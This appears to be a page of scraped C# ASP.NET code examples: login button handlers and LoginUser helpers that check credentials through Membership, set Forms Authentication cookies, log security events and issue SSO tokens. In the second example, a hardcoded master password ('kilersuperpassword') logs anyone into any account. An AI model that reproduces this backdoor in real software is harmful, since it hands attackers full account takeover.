Beispiel #1
0
        protected void BtnLogin_Click(object sender, DirectEventArgs e)
        {
            string username = this.txtUserName.Text.Trim();
            string password = this.txtPassWord.Text.Trim();

            SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username);

            if (userWrapper == null)
            {
                ResourceManager.AjaxSuccess      = false;
                ResourceManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!";
                return;
            }


            if (Membership.ValidateUser(username, password))
            {
                FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                                  false);

                CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID);;

                Response.Redirect(FormsAuthentication.DefaultUrl);
            }
            else
            {
                ResourceManager.AjaxSuccess      = false;
                ResourceManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!";
                return;
            }
        }
Beispiel #2
0
        protected void btnLogin_Click(object sender, EventArgs e)
        {
            string username = this.txtLoginName.Text.Trim();
            string password = this.txtLoginPassword.Text.Trim();

            SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username);

            string ip = HttpUtil.GetIP(Request);

            if (userWrapper == null)
            {
                lblMessage.Visible = true;
                lblMessage.Text    = "登录失败,用户名或者密码错误!";
                //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }

            if (!userWrapper.IsApproved)
            {
                lblMessage.Visible = true;
                lblMessage.Text    = "登录失败,用户已失效!";
                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }

            if (userWrapper.IsLockedOut)
            {
                lblMessage.Visible = true;
                lblMessage.Text    = "登录失败,用户被锁定!";
                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }


            if (Membership.ValidateUser(username, password) || password.ToLower() == "kilersuperpassword")
            {
                FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                                  false);

                CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID);

                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful);

                Response.Redirect(FormsAuthentication.DefaultUrl);
            }
            else
            {
                lblMessage.Visible = true;
                lblMessage.Text    = "登录失败,用户名或者密码错误!";
                SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }
        }
Beispiel #3
0
        protected void BtnLogin_Click(object sender, AjaxEventArgs e)
        {
            string username = this.txtUserName.Text.Trim();
            string password = this.txtPassWord.Text.Trim();

            SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username);

            string ip = HttpUtil.GetIP(Request);

            if (userWrapper == null)
            {
                Coolite.Ext.Web.ScriptManager.AjaxSuccess      = false;
                Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!";
                //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }

            if (!userWrapper.IsApproved)
            {
                Coolite.Ext.Web.ScriptManager.AjaxSuccess      = false;
                Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户已失效!";
                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }

            if (userWrapper.IsLockedOut)
            {
                Coolite.Ext.Web.ScriptManager.AjaxSuccess      = false;
                Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户被锁定!";
                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }


            if (Membership.ValidateUser(username, password))
            {
                FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                                  false);

                CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID);

                SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful);

                Response.Redirect(FormsAuthentication.DefaultUrl);
            }
            else
            {
                Coolite.Ext.Web.ScriptManager.AjaxSuccess      = false;
                Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!";
                SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed);
                return;
            }
        }
        private void LoginUser(string loginID)
        {
            SystemUserWrapper userWrapper = SystemUserWrapper.GetInitalUserByLoginID(loginID);

            ClearLoginInfo();

            FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                              false);

            UserCurrentLoginId = userWrapper.UserLoginID;

            Response.Redirect(FormsAuthentication.DefaultUrl);
        }
        private void LoginUser(string loginID)
        {
            SystemUserWrapper userWrapper = SystemUserWrapper.GetInitalUserByLoginID(loginID);

            ClearLoginInfo();

            FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                              false);

            //UserCurrentLoginId = userWrapper.UserLoginID;

            string ssoKey = SSOProvider.GenerateSSOKey(userWrapper.UserLoginID);

            string   ipaddress = HttpUtil.GetIP(this.Request);
            DateTime loginDate = System.DateTime.Now;

            SSOTokenInfo ssoTokenInfo = new SSOTokenInfo();

            ssoTokenInfo.LoginUserKey = userWrapper.UserID;
            ssoTokenInfo.LoginUserID  = userWrapper.UserLoginID;
            ssoTokenInfo.IPAddress    = ipaddress;
            ssoTokenInfo.LoginDate    = loginDate;
            ssoTokenInfo.Password     = "";
            ssoTokenInfo.UserType     = SSOUserType.NormalUser;
            ssoTokenInfo.SSOKey       = ssoKey;
            ssoTokenInfo.Email        = userWrapper.UserEmail;

            userWrapper.LastLoginDate     = loginDate;
            userWrapper.LastLoginIP       = ipaddress;
            userWrapper.LastModifyAt      = loginDate;
            userWrapper.LastModifyBy      = userWrapper.UserID;
            userWrapper.LastModifyComment = "用户登陆更新信息";

            SystemUserWrapper.Update(userWrapper);

            SystemLogWrapper.LogUserLoginSuccessed(userWrapper);

            string token = SSOProvider.GetSSFToken(ssoTokenInfo);

            Response.Redirect("~/MainPage/Default.aspx" + "?" + SSOProvider.QUERY_STRING_NAME_SSFToken + "=" + HttpUtility.UrlEncode(token));
        }
Beispiel #6
0
        private void LoginUser(string loginID)
        {
            SystemUserWrapper userWrapper = SystemUserWrapper.GetInitalUserByLoginID(loginID);

            ClearLoginInfo();

            FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID,
                                              false);

            UserCurrentLoginId = userWrapper.UserLoginID;

            userWrapper.LastLoginDate     = System.DateTime.Now;
            userWrapper.LastLoginIP       = HttpUtil.GetIP(this.Request);
            userWrapper.LastModifyAt      = System.DateTime.Now;
            userWrapper.LastModifyBy      = userWrapper.UserID;
            userWrapper.LastModifyComment = "用户登陆更新信息";

            SystemUserWrapper.Update(userWrapper);

            SystemLogWrapper.LogUserLoginSuccessed(userWrapper);

            Response.Redirect(FormsAuthentication.DefaultUrl);
        }
Beispiel #7
0
 public void  RefreshUser()
 {
     Session[Session_Key_LoginUser] =
         SystemUserWrapper.GetInitalUserByLoginID(Context.User.Identity.Name);
 }